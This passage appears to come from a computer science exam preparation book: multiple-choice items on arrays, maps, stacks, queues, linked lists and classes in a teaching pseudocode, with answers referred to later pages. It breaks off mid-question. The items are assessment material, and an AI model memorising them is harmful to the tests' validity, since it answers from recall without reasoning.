Each week, a seminar teacher rotates the seating plan so that every student moves one seat toward the front of the room and the student in the front seat moves to the back. The plan is stored from the front seat to the back seat. A student volunteers to automate the change and writes the program below, which is meant to apply two weeks of rotation and then list the new plan. When it runs, it stops with an error before any name is displayed. Which statement best describes the cause of the error?

```
01 /* Rotate a seating plan, front seat first, by a number of weeks. */
02 String[] seats = ["Ito", "Mora", "Ng", "Okafor", "Silva"]
03 int weeks = 2
04
05 for (int w = 0; w < weeks; w = w + 1)
06   String front = seats[0]
07   for (int i = 0; i < seats.size[1]; i = i + 1)
08     seats[i] = seats[i + 1]
09   seats[seats.size[1] - 1] = front
10
11 for (int i = 0; i < seats.size[1]; i = i + 1)
12   output(seats[i])
```

A. Declaring `front` inside the outer loop declares it a second time in the second week, which a typed language does not allow.

B. Saving the front student's name in `front` removes it from the array, so the array holds fewer names than the loops expect.

C. The copying loop makes one pass too many, so on its last pass it reads a value from the position just beyond the back seat.

D. The copying loop begins at position `0`, which does not exist, because the first value in an array is at position `1`.

Answer: page 997

0002.h.4.3

A student who learned to program in Python is building a weather log for a school garden. For each reading, the student wants to keep the time of day as a label, the temperature in degrees, and whether the soil was dry, and so writes the declarations below in the style of Python lists. Later in the project, the temperatures from many readings will be averaged. Which revision follows the rules of the reference sheet and still supports that averaging?

```
01 /* Each reading: time label, temperature, whether the soil was dry */
02 float[] first = ["08:00", 17.5, TRUE]
03 float[] second = ["12:00", 22.0, FALSE]
04 float[] third = ["16:00", 20.5, TRUE]
```

A. declaring each reading as a `String[]`, since an array of that type accepts any value, including numbers and Boolean values, without conversion

B. storing the labels, the temperatures, and the soil readings in three arrays of matching length, each declared with the type of the values it holds

C. leaving each declaration as `float[]`, since the language converts the time label and the Boolean value into decimal numbers when the array is created

D. removing the type from each declaration, so that each array takes its type from the first value placed in it, as a Python list appears to do

Answer: page 997

0002.h.4.4

A school café's printed menu numbers its four items from 1 to 4, and the cashier enters each order as a list of those printed numbers. A student writes the program below to display the items in an order and the order's total cost in dollars, with a discount of 2 dollars on orders of three or more items. The cashier tests the program with an order for a wrap, a soup, and a pasta, which is entered from the printed menu as `3`, `1`, and `4`. Which statement best describes what the program does with this order?

```
01 /* Show each item in an order and the order's total cost. */
02 String[] menu = ["soup", "salad", "wrap", "pasta"]
03 int[] prices = [3, 4, 6, 7]
04 int[] order = [3, 1, 4]
05 int total = 0
06
07 for (int k = 0; k < order.size[1]; k = k + 1)
08   int pick = order[k]
09   output(menu[pick])
10   total = total + prices[pick]
11
12 if (order.size[1] >= 3)
13   total = total - 2
14 output(total)
```

A. It displays `"pasta"` and `"salad"`, passes over the number that names no item, and then displays the total of `11`, without a discount.

B. It displays `"pasta"`, `"salad"`, and `"soup"`, since a position past the end returns to the start, and then displays `12`.

C. It displays `"wrap"`, `"soup"`, and `"pasta"`, which match the printed numbers, followed by the discounted total of `14`.

D. It displays `"pasta"` and then `"salad"`, and then it stops with an error, so no total is displayed for the order.

Answer: page 997

0002.h.4.5

A homeroom elects a class representative. Each candidate is given a number, and the numbers were chosen to match the positions of the candidates' names in the program's array. A student enters the numbers marked on the paper ballots and runs the program below, which counts the votes for each candidate and then names the candidate in the lead. The homeroom teacher also asks for the number of votes received by the candidate whose number is `1`. Which output would the program produce?

```
01 /* Count a class vote. Each ballot holds a candidate's number. */
02 String[] candidates = ["Reyes", "Kimura", "Osei"]
03 int[] ballots = [2, 0, 2, 1, 2, 0, 1, 2, 1]
04 int[] tally = [0, 0, 0]
05
06 for (int b = 0; b < ballots.size[1]; b = b + 1)
07   int choice = ballots[b]
08   tally[choice] = tally[choice] + 1
09
10 int leader = 0
11 for (int c = 1; c < tally.size[1]; c = c + 1)
```

```
12   if (tally[c] > tally[leader])
13     leader = c
14
15 output(tally[1])
16 output(candidates[leader])
```

A.

```
>>> 3
>>> 2
```

B.

```
>>> 3
>>> "Osei"
```

C.

```
>>> 2
>>> "Kimura"
```

D.

```
>>> ERROR
```

Answer: page 997

Two-dimensional arrays

0002.h.5.1

A small theater stores its seat map in a two-dimensional array in which each row of the array is a row of seats, counted from the stage, and each column is a seat within that row, counted from the left aisle. An open seat holds `"O"` and a sold seat holds `"X"`. The box office program below records three sales, given as pairs of a row and a seat, and then reports how many seats remain open in the second row from the stage and the state of one particular seat. Which output would the program produce?

```
01 /* Seat map: "O" is open and "X" is sold. */
02 char[][] seats = [["O", "O", "X", "O"],
03   ["X", "O", "O", "O"],
04   ["O", "X", "O", "X"],
05   ["O", "O", "O", "X"]]
06 int[] sale_row = [1, 3, 0]
07 int[] sale_seat = [2, 1, 3]
08
09 for (int s = 0; s < sale_row.size[1]; s = s + 1)
10   seats[sale_row[s], sale_seat[s]] = "X"
11
12 int open = 0
13 for (int c = 0; c < 4; c = c + 1)
```

```
14   if (seats[1, c] == "0")
15     open = open + 1
16 output(open)
17 output(seats[3, 1])
```

A.

```
>>> 3
>>> "X"
```

B.

```
>>> 3
>>> "0"
```

C.

```
>>> ERROR
```

D.

```
>>> 2
>>> "X"
```

Answer: page 997

0002.h.5.2

A chess program stores the board in the two-dimensional array `board`, in which row `0` holds the squares nearest the player with the white pieces and column `0` is at that player's left. A student adds a feature that highlights the square in the third row from the white player's side and the fifth column from the left. Which expression refers to that square?

A. `board[3, 5]`

B. `board[2, 4]`

C. `board[4, 2]`

D. `board[2][4]`

Answer: page 997

0002.h.5.3

A teacher keeps quiz marks in a two-dimensional array in which each row belongs to one student and each column belongs to one quiz, in the order in which the quizzes were given. The teacher wants the program below to report the class's mean mark on the third quiz, so that it can be compared with the means of the other quizzes. Which statement, executed on line 11, completes the program so that it reports that mean?

```
01 /* Each row is a student; each column is a quiz, in the order given. */
02 int[][] marks = [[8, 6, 9, 7],
```

```
03   [5, 9, 7, 5],
04   [9, 8, 6, 6],
05   [6, 7, 10, 7]]
06 String[] quizzes = ["Q1", "Q2", "Q3", "Q4"]
07 int students = marks.size[0]
08 int total = 0
09
10 for (int s = 0; s < students; s = s + 1)
11   /* missing statement */
12
13 output(quizzes[2])
14 output(total / students)
```

A. `total = total + marks[s, 2]`

B. `total = total + marks[2]`

C. `total = total + marks[s, 3]`

D. `total = total + marks[2, s]`

Answer: page 997

0002.h.5.4

A tutoring center records the number of students who attend each of its three afternoon hours, for each weekday, in the two-dimensional array below. Each row of the array is a weekday, from Monday to Friday, and each column is one of the hours. The director asks a student volunteer for a program that names the weekday with the most visits in total, so that more tutors can be scheduled on that day. The volunteer's program stops with an error before it displays anything. Which statement best explains the error?

```
01 /* Each row is a weekday; each column is a tutoring hour. */
02 int[][] visits = [[4, 7, 3],
03   [2, 5, 6],
04   [8, 1, 4],
05   [3, 6, 2],
06   [5, 5, 7]]
07 String[] days = ["Mon", "Tue", "Wed", "Thu", "Fri"]
08 int busiest = 0
09 int best_total = 0
10
11 for (int d = 0; d < 5; d = d + 1)
12   int day_total = 0
13   for (int h = 0; h < 3; h = h + 1)
14     day_total = day_total + visits[h, d]
15   if (day_total > best_total)
16     best_total = day_total
17     busiest = d
```

```
18
19 output(days[busiest])
```

A. The variable `day_total` is declared in the body of the outer loop, so the statements in the inner loop are not permitted to give it a new value.

B. Both loops begin counting at `0`, but the first row and the first column of a two-dimensional array are each numbered `1`.

C. The rows of the array are written on separate lines, so each row after the first is stored as a separate one-dimensional array with a separate name.

D. The statement that adds each hour's visits puts the hour first and the day second, so it asks for a column that the array does not have.

Answer: page 997

0002.h.5.5

A puzzle magazine for younger readers hides words in a square grid of letters, and a student writes the program below to check two of the hidden words before the puzzle is printed. One word should be read downward from the top of the grid, and the other should be read from left to right. The grid is stored as a two-dimensional array of one-letter strings, with row `0` at the top of the printed grid. Which output would the program produce?

```
01 /* Read two hidden words from a letter grid. */
02 String[][] grid = [["C", "A", "T", "S"],
03   ["O", "R", "E", "A"],
04   ["D", "E", "N", "T"],
05   ["E", "M", "U", "S"]]
06 String down = ""
07 String across = ""
08
09 for (int k = 0; k < 4; k = k + 1)
10   down = concat(down, grid[k, 0])
11   across = concat(across, grid[2, k])
12
13 output(down)
14 output(across)
```

A.

```
>>> "CODE"
>>> "DENT"
```

B.

```
>>> "CODE"
>>> "OREA"
```

C.

```
>>> "EDOC"
>>> "OREA"
```

D.

```
>>> "CATS"
>>> "TENU"
```

Answer: page 997

Array size and methods

0002.h.6.1

A robotics club keeps a waiting list for a popular weekend workshop, in order from the next person to be offered a place to the most recent person to join. During one afternoon, the club's adviser makes four changes to the list: a student with an earlier claim is placed ahead of some others, the first person on the list accepts a place and leaves the list, a new student joins, and one more student withdraws. The adviser records these changes with the program below. Which output would the program produce?

```
01 /* Apply one afternoon's changes to a workshop's waiting list. */
02 String[] wait = ["Ola", "Pim", "Quin", "Rae"]
03 wait.insert(2, "Sol")
04 wait.del(0)
05 wait.append("Tam")
06 wait.del(3)
07
08 for (int i = 0; i < wait.size[1]; i = i + 1)
09   output(wait[i])
```

A.

```
>>> "Pim"
>>> "Sol"
>>> "Rae"
```

B.

```
>>> "Pim"
>>> "Quin"
>>> "Sol"
>>> "Tam"
```

C.

```
>>> "Pim"
>>> "Sol"
>>> "Quin"
>>> "Tam"
```

D.

```
>>> "Pim"
>>> "Sol"
>>> "Rae"
>>> "Tam"
```

Answer: page 998

0002.h.6.2

A science class's temperature sensor writes `-1` to its log whenever a reading fails. A student writes the program below to remove every failed reading from the log and then to report how many valid readings remain and their mean, rounded as the reference sheet rounds the quotient of two `int` values. The log being tested holds four valid readings, but the program reports `5` readings and a mean of `10`. Which statement best explains this result?

```
01 /* Remove failed readings (-1) from a sensor log, then report the mean. */
02 int[] log = [12, -1, -1, 15, 9, -1, 13]
03 int i = 0
04 while (i < log.size[1])
05   if (log[i] == -1)
06     log.del(i)
07   i = i + 1
08
09 int sum = 0
10 for (int k = 0; k < log.size[1]; k = k + 1)
11   sum = sum + log[k]
12 output(log.size[1])
13 output(sum / log.size[1])
```

A. The condition of the `while` loop is evaluated only once, when the loop begins, so the loop never takes into account that the array has become shorter.

B. Deleting a value from an array leaves an empty position behind, and each empty position is still counted by `.size[1]` once the loop has finished.

C. The method `.del` removes the first value that is equal to its argument, so each call removes a reading equal to the current position rather than a failed reading.

D. After a deletion, each later reading moves down one position, and the increase of `i` that follows passes over the reading that has just moved into position `i`.

Answer: page 998

0002.h.6.3

A public library lets patrons place holds on a new novel, and copies are offered in the order in which the holds were placed. When a patron cancels a hold, the librarian enters the patron's name, and the program below should remove that name and then show the three patrons who are now first in

line. The librarian does not know where in the list the cancelled name appears. Which statement, executed on line 06, completes the program?

```
01 /* Remove a cancelled hold, then show the next three patrons. */
02 String[] holds = ["Park", "Diaz", "Lund", "Ross", "Vega"]
03 String cancel = "Lund"
04 int[] found = holds.search(cancel)
05 if (found != NULL)
06   /* missing statement */
07
08 for (int i = 0; i < 3; i = i + 1)
09   output(holds[i])
```

A. `holds.del(cancel)`

B. `holds.del(found[0])`

C. `holds.del(found)`

D. `holds.del(found[1])`

Answer: page 998

0002.h.6.4

A student is writing a program that prints the running order of a school assembly. The program starts with three events and then adds two more: the announcements must come right after the anthem, and dismissal must come at the very end. The student, wanting to use one method for both additions, writes the program below. It stops with an error before any event is displayed. Which statement best explains the error?

```
01 /* Build the running order of a school assembly. */
02 String[] events = ["anthem", "welcome", "awards"]
03 events.insert(1, "announcements")
04 events.insert(events.size[1], "dismissal")
05 for (int i = 0; i < events.size[1]; i = i + 1)
06   output(events[i])
```

A. A value can be inserted only at an existing index, and the index equal to the array's size is one beyond the last value.

B. The first insertion shifts the later values toward the end, which fills the array, so it has no room for a further insertion.

C. The method `.insert` can be used only once on an array, since a second call would move positions set by the first.

D. A one-dimensional array's `.size` is a single number, so `events.size[1]` asks for an index of a number, which does not exist.

Answer: page 998

0002.h.6.5

A school's facilities office stores the capacity of each classroom in a two-dimensional array, with one row for each floor of a building and one column for each room on that floor. A separate array holds the names of the building's wings. A staff member who is new to the program writes the short check below to confirm how the data are arranged before writing a larger report. Which output would the check produce?

```
01 int[][] rooms = [[24, 30, 28], [32, 26, 20]]
02 String[] wings = ["North", "South"]
03 output(rooms.size)
04 output(wings.size[1])
05 output(rooms.size[0] * rooms.size[1])
```

A.

```
>>> 6
>>> ERROR
```

B.

```
>>> [2,3]
>>> 2
>>> 6
```

C.

```
>>> [1,2]
>>> 1
>>> 2
```

D.

```
>>> [3,2]
>>> 1
>>> 6
```

Answer: page 998

Associative arrays (maps)

0002.h.7.1

The student council runs a school store and tracks its stock in a map from each item's name to the number of that item on the shelves. At the end of a day, a council member enters the items sold, a delivery of rulers, a new product that has just arrived, and the result of a hand count of the pencils, which replaces the recorded figure. The member then runs the program below. Which output would it produce?

```
01 /* Update a school store's stock after a day of sales and deliveries. */
02 String int{} stock = {"pencil": 40, "eraser": 15, "ruler": 8}
```

```
03 String[] sold = ["pencil", "ruler", "pencil", "eraser", "pencil"]
04
05 for (int i = 0; i < sold.size[1]; i = i + 1)
06   String item = sold[i]
07   stock{item} = stock{item} - 1
08
09 stock{"ruler"} = stock{"ruler"} + 12
10 stock{"marker"} = 20
11 stock{"pencil"} = 30
12
13 output(stock{"pencil"})
14 output(stock{"ruler"})
15 output(stock.size)
```

A.

```
>>> 30
>>> 19
>>> 4
```

B.

```
>>> 30
>>> 19
>>> [1,4]
```

C.

```
>>> ERROR
```

D.

```
>>> 37
>>> 19
>>> 5
```

Answer: page 998

0002.h.7.2

A student who learned Python is writing a sign-up program for a school's chess club, and stores each member's details in the same way that a Python dictionary would hold them. The draft below creates one member's record and then adds an email address. When a classmate checks the draft against the reference sheet, the classmate finds that it breaks one of the sheet's rules for maps. Which statement best describes the problem?

```
01 String String{} member = {"name": "Ines", "grade": 11, "role": "captain"}
02 member{"email"} = "ines.r@school.org"
```

A. Every value must match the type declared for the map's values, and the grade is written as an `int` rather than a `String`.

B. The keys of a map must be `int` values, because a map, like an array, finds each of its values by a numbered position.

C. A pair cannot be added once the map exists, because the declaration fixes the number of keys that the map is then able to hold.

D. A map must be declared without any pairs, and each pair must then be added in a separate assignment, as the email is.

Answer: page 998

0002.h.7.3

The cafeteria asks students to vote for next month's lunch theme from three choices, and a student writes the program below to count the paper ballots and announce the winning theme. The map begins with each of the three choices and a count of `0`. When the student enters the ballots collected from one homeroom and runs the program, it stops with an error, and no winner is displayed. Which statement best explains the error?

```
01 /* Count votes for next month's lunch theme. */
02 String int{} votes = {"pasta": 0, "tacos": 0, "curry": 0}
03 String[] ballots = ["tacos", "curry", "tacos", "ramen", "pasta"]
04
05 for (int i = 0; i < ballots.size[1]; i = i + 1)
06   String choice = ballots[i]
07   votes{choice} = votes{choice} + 1
08
09 String[] themes = ["pasta", "tacos", "curry"]
10 String best = themes[0]
11 for (int t = 1; t < themes.size[1]; t = t + 1)
12   String th = themes[t]
13   if (votes{th} > votes{best})
14     best = th
15
16 output(concat("Winner: ", best))
17 output(votes{best})
18 output(votes.size)
```

A. The map holds three pairs, while the array of ballots holds five values, so the loop runs past the last position in the map.

B. Reading the value for a key that the map does not hold is an error, and one ballot names a choice that is not among the map's keys.

C. An assignment to a key that the map already holds is an error, so the update on line 07 fails as soon as the first ballot is counted.

D. A key held in a variable is not accepted inside the braces of a map lookup, so the key has to be written out as a string in quotation marks.

Answer: page 998

0002.h.7.4

A school's hallway-duty roster is stored as a map from each school day to the teacher on duty that day. The assistant principal wants a quick report of how many days a given teacher is on duty and which of those days comes first in the roster, so that the teacher can be told. A student writes the program below and needs one statement on line 04 that collects the days for the teacher named in `teacher`. Which statement completes the program?

```
01 /* Each school day maps to the teacher on hallway duty that day. */
02 String String{} duty = {"Mon": "Diaz", "Tue": "Okoro", "Wed": "Diaz", "Thu": "Lam",
↪  "Fri": "Diaz"}
03 String teacher = "Diaz"
04 /* missing statement */
05 output(days.size[1])
06 output(days[0])
```

A. `String[] days = duty.search(teacher)`

B. `String[] days = [duty{"Mon"}, duty{"Wed"}, duty{"Fri"}]`

C. `String[] days = duty.search("Mon")`

D. `String[] days = duty{teacher}`

Answer: page 998

0002.h.7.5

A club adviser keeps a contact sheet that records each member's homeroom, so that reminders can be sent to the right rooms. A student writes the program below to build the sheet as a map from each member's first name to a room number, using the two arrays that the sign-up form produced. Two members who signed up share the first name Sam. Which statement correctly describes the output, with the reason for it?

```
01 /* Record each member's homeroom for a club's contact sheet. */
02 String[] names = ["Sam", "Lia", "Theo", "Sam", "Noor"]
03 int[] rooms = [108, 214, 117, 230, 108]
04 String int{} homeroom = {}
05
06 for (int i = 0; i < names.size[1]; i = i + 1)
07   String n = names[i]
08   homeroom{n} = rooms[i]
09
10 output(homeroom.size)
11 output(homeroom{"Sam"})
```

A. It displays `4` and then `230`, because assigning to a key that is already present replaces the value stored for that key.

B. It displays `5` and then `108`, because the map keeps a pair for each assignment, and a lookup finds the earliest pair.

C. It displays `4` and then `108`, because a key that is already present in a map keeps the first value that it was given.

D. It displays `5` and then stops with an error, because the two pairs share one key and the lookup is ambiguous.

Answer: page 998

Stacks

0002.h.8.1

A student is building a simple drawing app for younger students and adds an Undo command. Each drawing action is recorded in `history` as it happens, and Undo should remove the action that the user would expect to disappear. To test the feature, the student replays a short session below. The tester draws a circle, a square, and a line and then chooses Undo, expecting the line to disappear, but the program reports that the circle was removed. Which change makes Undo behave as users expect?

```
01 /* Replay a user's commands in a drawing app that supports Undo. */
02 String[] commands = ["circle", "square", "line", "undo", "text", "undo"]
03 String[] history = []
04
05 for (int i = 0; i < commands.size[1]; i = i + 1)
06   String c = commands[i]
07   if (c == "undo")
08     output(concat("removed ", history[0]))
09     history.del(0)
10   else
11     history.append(c)
12
13 for (int j = 0; j < history.size[1]; j = j + 1)
14   output(history[j])
```

A. replacing `history` with a map whose keys are the names of the actions, so that Undo can look up the action to remove by its name

B. naming the value at the last position of `history` in the message, while continuing to delete the value at position `0`

C. reading and deleting the value at the last position of `history`, which is the end at which each new drawing action is added

D. reversing the order of the values in `commands` before the loop begins, so that the most recent command is handled first

Answer: page 998

0002.h.8.2

A student is learning how a running program keeps track of functions that have been called but have not yet finished. The student writes the report-card program below, in which each function displays a message just before it returns, and predicts the order of the messages before running it. The functions are written in the program in a different order from the one in which they are called. Which output would the program produce?

```
01 function report(String first, String last, String grade, int[] marks)
02   String top = header(first, last, grade)
03   int mean = average(marks)
04   if (mean < 65)
05     top = concat(top, " (support)")
06   output("done: report")
07   return top
08
09 function average(int[] marks)
10   int total = 0
11   for (int i = 0; i < marks.size[1]; i = i + 1)
12     total = total + marks[i]
13   output("done: average")
14   return total / marks.size[1]
15
16 function header(String first, String last, String grade)
17   String title = concat(format_name(first, last), ", ", grade)
18   output("done: header")
19   return title
20
21 function format_name(String first, String last)
22   String full = concat(last, ", ", first)
23   output("done: format_name")
24   return full
25
26 int[] marks = [84, 90, 78]
27 String card = report("Ana", "Lopez", "Grade 10", marks)
```

A.

```
>>> "done: report"
>>> "done: average"
>>> "done: header"
>>> "done: format_name"
```

B.

```
>>> "done: format_name"
>>> "done: header"
>>> "done: average"
```

```
>>> "done: report"
```

C.

```
>>> "done: report"
>>> "done: header"
>>> "done: format_name"
>>> "done: average"
```

D.

```
>>> "done: average"
>>> "done: format_name"
>>> "done: header"
>>> "done: report"
```

Answer: page 998

0002.h.8.3

An introductory programming course asks students to write a checker that reports whether every opening bracket in a line of code is closed by the matching kind of bracket, in the correct order. The student's program below handles parentheses and square brackets, and keeps each opening bracket that has not yet been closed in `held`. When a closing bracket appears, the program must compare it with the correct opening bracket. Which statement, executed on line 14, completes the program?

```
01 /* Report whether each bracket in a line is closed in the right order. */
02 String line = "(a[b]c)"
03 String[] held = []
04 bool ok = TRUE
05
06 for (int i = 0; i < line.len; i = i + 1)
07   String c = line.sub(i, i)
08   if (c == "(" OR c == "[")
09     held.append(c)
10   elseif (c == ")" OR c == "]")
11     if (held.size[1] == 0)
12       ok = FALSE
13     else
14       /* missing statement */
15       held.del(held.size[1] - 1)
16       if (c == ")" AND last != "(")
17         ok = FALSE
18       if (c == "]" AND last != "[")
19         ok = FALSE
20
21 output(ok AND held.size[1] == 0)
```

A. `String last = held[held.size[1]]`

B. `String last = line.sub(i - 1, i - 1)`

C. `String last = held[0]`

D. `String last = held[held.size[1] - 1]`

Answer: page 999

0002.h.8.4

A word processor records each editing action so that its Undo command can reverse actions. A user types a title, makes the title bold, and inserts a picture. The user then chooses Undo twice, underlines the title, and chooses Undo once more. Assuming that the word processor's Undo behaves in the usual way, which statement best describes the document after these steps?

A. The title remains exactly as it was typed, with no bold formatting, no underlining, and no picture in the document.

B. The title remains in bold, because the final Undo reverses the previous Undo instead of the underlining.

C. Only the underlining remains, because the typing and the bold formatting were the actions that Undo reversed first.

D. Nothing remains, because the underlining replaced the typing as the latest action, and the final Undo removed it.

Answer: page 999

0002.h.8.5

A computer lab assistant uses the program below to decide which student to help next. When a student raises a hand, the student's name is recorded, and when the assistant becomes free, the word `next` is entered. After a busy class period, the assistant replays the period's events and notices a pattern in the order in which the students were helped. Which statement best describes how the program decides whom to help?

```
01 /* Decide which student a lab assistant helps next. */
02 String[] waiting = []
03 String[] events = ["Ana", "Ben", "next", "Cara", "next", "Dee", "next", "next"]
04
05 for (int i = 0; i < events.size[1]; i = i + 1)
06   if (events[i] == "next")
07     int top = waiting.size[1] - 1
08     output(waiting[top])
09     waiting.del(top)
10   else
11     waiting.append(events[i])
```

A. It always helps the student who has waited longest, so the students are helped in the order Ana, Ben, Cara, and then Dee.

B. It helps the most recent student each time and discards the requests made before that one, so Ana is never helped.

C. It always helps whichever of the waiting students made the most recent request, so Ana, who asked first, is helped last.

D. It helps the students in alphabetical order of their names, because an array keeps its values sorted as each one is added.

Answer: page 999

Queues

0002.h.9.1

A school library's shared printer prints at most 10 pages of a job before moving on, so that one long job cannot hold up everyone else. A job that still has pages left after its turn goes to the back of the line of waiting jobs, with its remaining pages. A student writes the program below to simulate the printer for four jobs and to display the name of each job as it is completed. Which output would the program produce?

```
01 /* Simulate a printer that prints up to 10 pages of a job per turn. */
02 String[] jobs = ["essay", "poster", "slides", "memo"]
03 int[] pages = [12, 4, 25, 9]
04
05 while (jobs.size[1] > 0)
06   String job = jobs[0]
07   int left = pages[0] - 10
08   jobs.del(0)
09   pages.del(0)
10   if (left > 0)
11     jobs.append(job)
12     pages.append(left)
13   else
14     output(job)
```

A.

```
>>> "poster"
>>> "memo"
>>> "essay"
>>> "slides"
```

B.

```
>>> "poster"
>>> "memo"
>>> "slides"
>>> "essay"
```

C.

```
>>> "essay"
>>> "poster"
>>> "slides"
>>> "memo"
```

D.

```
>>> "memo"
>>> "slides"
>>> "poster"
>>> "essay"
```

Answer: page 999

0002.h.9.2

A school counselor's office lets students sign in on a tablet while they wait, and the counselor taps a button to call the next student. A student writes the program below to replay one morning's sign-ins and calls. Rather than deleting names from the array, the program keeps a separate number that marks the next name to be called. A teacher reviewing the program asks which abstract data type it carries out. Which answer is most accurate?

```
01 /* Call students to the counselor's office. */
02 String[] signed = []
03 int next = 0
04 String[] actions = ["Rui", "Zia", "call", "Abe", "call", "call", "Kofi"]
05
06 for (int i = 0; i < actions.size[1]; i = i + 1)
07   if (actions[i] == "call")
08     output(signed[next])
09     next = next + 1
10   else
11     signed.append(actions[i])
```

A. a map, because `next` acts as a key that is used to look up the name of the next student to call

B. no abstract data type, because a queue or a stack must delete each value at the moment that it is handed out

C. a stack, because names are added to and read from one array, so both actions take place at the same end

D. a queue, because each name called is always the earliest signed-in name that has not yet been called

Answer: page 999

0002.h.9.3

A bakery's counter uses numbered tickets, and a screen shows the tickets still waiting, from the next to be served onward. Customers take tickets 41, 42, and 43, and the clerk serves one customer. Two more customers then take tickets 44 and 45, and the clerk serves two more customers. If the waiting tickets are handled as a queue, which statement describes the screen?

A. Tickets 44 and 45 are still waiting, with ticket 45 shown as next.

B. Tickets 44 and 45 are still waiting, with ticket 44 shown as next.

C. Tickets 41 and 42 are still waiting, with ticket 41 shown as next.

D. Tickets 43 and 45 are still waiting, with ticket 43 shown as next.

Answer: page 999

0002.h.9.4

A food truck's ordering screen records each order as a customer places it, and the cook enters the word `ready` each time an order is finished. Customers must receive their orders in the order in which they placed them, and each order should be displayed when it is handed out and then removed from the waiting orders. A student writes the program below to replay one lunch period. Which statements, executed on lines 07-08, complete the program?

```
01 /* Hand out food truck orders. */
02 String[] orders = []
03 String[] log = ["taco", "wrap", "ready", "bowl", "ready", "salad", "ready", "ready"]
04
05 for (int i = 0; i < log.size[1]; i = i + 1)
06   if (log[i] == "ready")
07     /* missing statements */
08
09   else
10     orders.append(log[i])
```

A.

```
orders.del(0)
output(orders[0])
```

B.

```
output(orders[0])
orders.del(0)
```

C.

```
output(orders[0])
orders.del(orders.size[1] - 1)
```

D.

```
output(orders[orders.size[1] - 1])
orders.del(orders.size[1] - 1)
```

Answer: page 999

0002.h.9.5

A school's print server holds documents that are waiting for a busy printer and sends each one to the printer when it becomes free. During examination week, when many documents arrive every minute, a technician changes a setting so that the most recently received document is always the next one printed. Which consequence is most likely?

A. The earliest documents would still print first, since a printer finishes older documents before it starts newer ones.

B. Documents sent early in a busy period could wait a long time, since newer ones keep arriving and printing ahead of them.

C. The waiting documents would be sent to the printer as one batch, since the order in which they arrive would stop mattering.

D. Documents would print in order of size, smallest first, since the new setting sorts the waiting documents as each arrives.

Answer: page 999

Linked lists

0002.h.10.1

A music app stores a playlist as a chain of nodes held in two arrays. Node `k` has its song title in `song[k]` and, in `link[k]`, the index of the node that plays next, with `-1` marking the last node; `head` is the index of the node that plays first. The developer adds a new song so that it plays immediately after `"Mosaic"`, without moving any existing title, and then plays the list from the beginning. Which output would the program produce?

```
01 /* Node k holds song[k]; link[k] is the next node's index, or -1 at the end. */
02 String[] song = ["Volcano", "Harbor", "Lanterns", "Mosaic"]
03 int[] link = [3, -1, 1, 2]
04 int head = 0
05
06 /* Add "Ember" as node 4, to play right after "Mosaic" (node 3). */
07 song.append("Ember")
08 link.append(link[3])
09 link[3] = 4
10
11 int k = head
12 while (k != -1)
13   output(song[k])
14   k = link[k]
```

A.

```
>>> "Volcano"
>>> "Mosaic"
>>> "Lanterns"
>>> "Harbor"
>>> "Ember"
```

B.

```
>>> "Volcano"
>>> "Mosaic"
>>> "Ember"
>>> "Lanterns"
>>> "Harbor"
```

C.

```
>>> "Volcano"
>>> "Harbor"
>>> "Lanterns"
>>> "Mosaic"
>>> "Ember"
```

D.

```
>>> "Volcano"
>>> "Mosaic"
>>> "Ember"
```

Answer: page 999

0002.h.10.2

A doubly linked list stores values in nodes that each hold a value, a pointer `prev` to the previous node, and a pointer `next` to the following node. A music player keeps its upcoming songs in such a list, and a listener removes a song from the middle of it. The player's code below removes node `B`, whose neighbors are `A` before it and `C` after it, so that the list skips `B` in both directions. Which statement, executed on line 04, completes the removal?

```
01 /* Remove node B from between its neighbors A and C. */
02 Node A = B.prev
03 Node C = B.next
04 /* missing statement */
05 C.prev = A
06 B.next = NULL
07 B.prev = NULL
```

A. `B.next = C`

B. `A.next = C`

C. `C.next = A`

D. `A.prev = C`

Answer: page 999

0002.h.10.3

A to-do app keeps tasks in a singly linked list, in which each node holds a task and a pointer `next` to the following node, with `NULL` after the last node. A student adds a feature that inserts a new task `N` directly after a chosen task `P`, and writes the insertion below. Before the insertion, the list holds four tasks, with `P` second. Afterward, the app's count of tasks never finishes. Which statement best describes the effect of the insertion?

```
01 /* Insert node N directly after node P, then count the tasks. */
02 P.next = N
03 N.next = P.next
04
05 int count = 0
06 Node node = first
07 while (node != NULL)
08   count = count + 1
09   node = node.next
10 output(count)
```

A. `N` ends up pointing to itself, so the tasks that followed `P` can no longer be reached and the count never reaches `NULL`.

B. The insertion succeeds, because the second statement copies the pointer that `P` held before the first statement changed it.

C. The list becomes doubly linked, because `P` and `N` now hold pointers to each other, so the count runs in both directions.

D. `P` is removed from the list, and `N` takes its place, because a node's position is given by the pointer that leads to it.

Answer: page 999

0002.h.10.4

A streaming service keeps each listener's queue of upcoming songs, which may hold tens of thousands of titles. Listeners very often add a song to play right after the current one, and they rarely jump to a song by its number in the queue. A developer compares storing the queue in an array with storing it in a linked list. Compared with the array, the linked list:

A. can add a song after the current one by changing a few pointers, whereas the array must move every song that follows it.

B. must copy every node that follows the current song to a new place in memory when a song is added, just as the array must.

C. can jump directly to the song with a given number, whereas the array must walk through the songs that come before it.

D. keeps all of its songs next to one another in memory, which lets it add a song without moving any of the songs that follow.

Answer: page 999

0002.h.10.5

A museum's audio tour stores its stops as a linked list held in arrays, so that stops can be added or rearranged without moving any data. For each node `k`, `stop[k]` names the stop, `mins[k]` is its length in minutes, and `link[k]` is the index of the following stop, with `-1` after the final stop. The program below should report how many stops the tour has and its total length. Which statement, executed on line 14, completes the program?

```
01 /* Total the minutes of a tour whose stops form a linked list in arrays. */
02 String[] stop = ["Gate", "Atrium", "Lab", "Garden", "Studio"]
03 int[] mins = [5, 12, 20, 8, 15]
04 int[] link = [3, 4, -1, 1, 2]
05 int first = 0
06
07 int total = 0
08 int count = 0
09 int k = first
10 while (k != -1)
11   total = total + mins[k]
12   count = count + 1
13   output(stop[k])
14   /* missing statement */
15 output(count)
16 output(total)
```

A. `k = k + 1`

B. `k = link[first]`

C. `link[k] = k`

D. `k = link[k]`

Answer: page 1000

Objects and classes

0002.h.11.1

A school library's program defines the class `Book` below. Creating a book, as in `Book("World Atlas", 3)`, gives a new object whose attributes take the values given, in order, and inside a method an attribute's name refers to the value held by the object on which the method was called. A librarian

runs the program to record a morning's loans and returns of two titles. Which output would the program produce?

```
01 /* Each Book records a title and the number of copies on the shelf. */
02 class Book
03   String title
04   int on_shelf
05
06   function check_out()
07     on_shelf = on_shelf - 1
08
09   function check_in()
10     on_shelf = on_shelf + 1
11
12 Book atlas = Book("World Atlas", 3)
13 Book novel = Book("Kindred", 5)
14 novel.check_out()
